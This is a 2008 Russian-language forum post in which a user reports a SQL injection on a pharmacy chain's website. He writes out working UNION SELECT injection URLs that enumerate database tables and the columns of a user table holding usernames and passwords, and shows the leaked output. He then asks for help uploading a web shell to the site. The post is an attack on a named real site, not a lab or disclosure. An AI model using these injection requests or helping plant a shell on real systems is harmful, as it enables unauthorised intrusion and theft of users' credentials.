Показать сообщение отдельно

  #4  
Старый 22.03.2008, 22:25
samarin
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме:
295283

Репутация: 69
Отправить сообщение для samarin с помощью ICQ
По умолчанию

Нашел скулю
--------------------------
Сеть аптечных магазинов!
Цитата:http://www.zdorovie-plus.com/catalog/index.php?g=553+union+select+1,2,3,4,5/*#s576


5.0.22-log
zdplus@localhost
---------------------------------
information_schema.tables
Цитата:http://www.zdorovie-plus.com/catalog/index.php?g=553+union+select+1,2,3,table_name,5+fr om+information_schema.tables/*#s576
----------------------------------
вывожу колонки? например с zdp_usr
Цитата:
http://www.zdorovie-plus.com/catalog/index.php?g=553+union+select+1,2,3,column_name,5+f rom+information_schema.columns+where+table_name+li ke+`zdp_usr`/*#s576
получаю
Цитата:
id
usr
pwd
type
как я понял экранирования кавычек нет
------------------------------------
но при попытке вывода колонок выплевует
звездочки-заместо текста и ошибку
Цитата:
Не могу получить перечень оборудования! The used SELECT statements have a different number of columns
------------------------------------
рас уж кавычки не фильтруются, значит как то можно залить шелл
я шеллы еще не заливал-буду рад примеру
------------------------------------

Последний раз редактировалось samarin; 22.03.2008 в 22:33..
 
Ответить с цитированием